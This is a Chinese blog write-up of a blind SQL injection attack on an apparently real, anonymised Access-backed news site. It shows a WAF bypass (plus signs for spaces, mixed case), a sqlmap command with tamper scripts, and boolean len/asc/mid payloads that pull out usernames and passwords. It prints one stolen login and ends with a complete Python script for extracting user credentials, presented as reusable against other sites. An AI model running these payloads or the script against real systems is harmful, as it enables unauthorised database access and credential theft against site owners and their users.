方法1减法判断:
正常页面id=14
注入测试id=14-1也就是id=13,页面正常跳转存在注入。
方法2 and和or判断:
构造id=14 and 1=1,发现被WTS-WAF拦截了
经过反复尝试,这里可以利用“+”替换空格和大写字母绕过WTS-WAF,并且此waf没有过滤and。
id=14+and+1=1成功显示:
id=14+and+1=2没有显示文章:
根据报错信息很明显是Access数据库,但是其中的and IsPass我有点不懂。
access数据库特点: 表名—->列名—->内容数据 不像其他的数据库 可创建多个数据库然后才是表再是内容 access只有一个库若干张表。
二话不说用sqlmap跑一下,结果没有跑出来
sqlmap.py -u “http://www.XXXXX.com/news_list.jsp?type=8&pkID=7288*” –user-agent ” Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; BIDUBrowser 7.6)” –proxy=http://127.0.0.1:1080 –tamper “randomcase.py,space2plus.py”
只能手动注入了 找了一些资料 网上有很多大神都总结过Access数据库手动注入步骤 一般方法如下:
1.判断有无注入
2.猜解表名
3.猜解字段
4.猜解管理员/用户ID值
5.猜解用户名和密码长度
6.猜解用户名和密码
Access数字型注入不能回显,只能根据执行命令后web页面显示正确与否来猜解判断,手动注入效率会比较低。
方法一:order by和union猜解表列
id=14+orDer+By+1000加到1000了也没有报错 order by方法行不通
order by不能找出多少列 用union查询时 报错信息提示“必须包含至少一个表或查询“
猜想select后面要接一个表名 但现在表名和列数都不知道 select方式也行不通。
方法二:用exists()来猜解
构造id=14+and+eXists(sElect * frOm+admin) 报错信息说admin表不存在 说明方法二可行
于是找了一个常用数据库表明字典 结合bp进行暴力猜解。
爆破结果 发现users表
构造id=14+and+eXists(sElect+$username$+frOm+users) 收集了一个常用字段名字典 结合bp暴力猜解 发现一定存在“username、password、id“3个字段。
我又暴力猜解了一下id 构造id=14+and+eXists(sElect+id+frOm+users+whEre+id=$1$) 发现里面包含100+的用户信息 id值从21开始 也没有damin用户 看样子只是个普通用户数据库。
构造 id=14+and+(sElect+top+1+len(username)+frOm+users+whEre+id=21)+>+6
通过显示判断 id=21的用户len(username)=7 len(password)=16
构造id=14+and+(sElect+top+1+asc(mid(username,1,1))+frOm+users+where+id=21)+>+96 mid()表示分段截取 mid(username,1,1)中username是截取对象,第一个‘1’表示截取第一个字母,第二个‘1’表示1个单位及每次截取的长度 asc()将截取的内容转换成ascii码 然后遍历对比ASCII表一位一位的猜解 就能获得username。
Id=21用户的第一个字母为k
根据用户名长度为7最后知道id=21用户的usernam=kongxin
最终决定写一个脚本来跑
跑前10个用户密码
用户Kongxin/1978
成功登陆
漏洞测试点到为止。
#-*- coding: utf-8 -*-
#python3环境下运行 模块安装时可能会出现一些问题大家自行百度
#思路:通过对比返回页面的大小来判断语句是否正确执行,代码中15000是正确会写页面的大小。
#首先通过上面的猜解知道了 数据表有users 字段有username、password、id 还知道了id起始值为21。
#下面的代码已经写好了猜解过程,以后遇到只能手动注入的注入点,只需要更改header头、main函数中的参数值和绕waf语句就能直接跑
import urllib.request
#from bs4 import BeautifulSoup
import requests
import sys
#from socket import *
header = {}#头部构造
header['Host'] = 'www.XXXXX.com'
header['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36'
header['Accept'] = 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'
header['Accept-Language'] = 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3'
header['Accept-Encoding'] = 'gzip, deflate'
header['Cookie'] = ''
header['Connection'] = 'close'
header['Upgrade-Insecure-Requests'] = '1'
def Lenth_web(conn_rurl,asc):#计算页面大小
conn_rurl = conn_rurl+str(asc)
# print(conn_rurl)
response = requests.get(conn_rurl, headers=header, timeout=15)
l = len(response.content)
# print(type(l))
response.close()
return l
def Lenth_words(conn_rurl):#计算字段长度
max_lenth = range(0,50)
r = find_word(conn_rurl,max_lenth)
print(r)
return r
def find_word(conn_rurl,array):
low = 0
# print(low)
lenth = len(array)-1
# print(lenth)
# i = (lenth+low)/2
# print(array[int(i)])
while low < lenth:
if Lenth_web(conn_rurl,array[int((lenth+low)/2)]) > 15000:
#15865是正常页面的大小,利用2分使正确值始位置终在low和lenth之间 low和lenth不断向正确位置靠拢
low = int((lenth+low)/2)
else:
lenth = int((lenth+low)/2)
if lenth-low == 1:
#以上的方法会使得lenth始终大于low 最后接近正确值时lenth会比low一直大1无限循环下去 所以这里用差值为1来停止循环 较大的lenth就是要求的值的位置
break
return array[lenth]
def find(conn_rurl):
try:
if Lenth_web(conn_rurl,97) > 15000:#说明是小写字母 小写字母ASCII码是97-122
array = range(97, 123)
a = find_word(conn_rurl,array)
print(chr(a),end='')#end为空取消换行符
elif Lenth_web(conn_rurl,65) > 15000:#说明是大写字母 大写字母ASCII码65-90
array = range(65, 91)
a = find_word(conn_rurl,array)
print(chr(a),end='')
else:#说明是数字 数字的sacii编码是48-57
array = range(48, 58)
a = find_word(conn_rurl,array)
print(chr(a),end='')
except:
pass
def main():#通过更改table_name column_name 遍历user_id读取表中前10个用户的信息
rurl = 'http://www.XXXX.com'#目标url
table_name = 'users' #表明
column_name = 'username' #字段名
user_id = 21#第一用户id
n = 0
while n < 10:#读取前10个用户的字段
conn_rurl_lenth = rurl+'/news/shownews.asp?id=14+and+(sElect+top+1+len('+column_name+')+frOm+'+table_name+'+whEre+id='+str(user_id)+')+>+'
l = Lenth_words(conn_rurl_lenth)
#猜解字段长度语句
i = 0
while i < l:
conn_rurl = rurl+'/news/shownews.asp?id=14+And+(sElect+top+1+asc(mid('+column_name+','+str(i+1)+',1))+frOm+'+table_name+'+whEre+id='+str(user_id)+')+>+'
i = i + 1
#猜解字段语句
# print(conn_rurl)
find(conn_rurl)
print('\n')
user_id = user_id + 1
n = n + 1
if __name__ == '__main__':
main()
参考来源:arno'blog
作者:arno
如有侵权,联系删除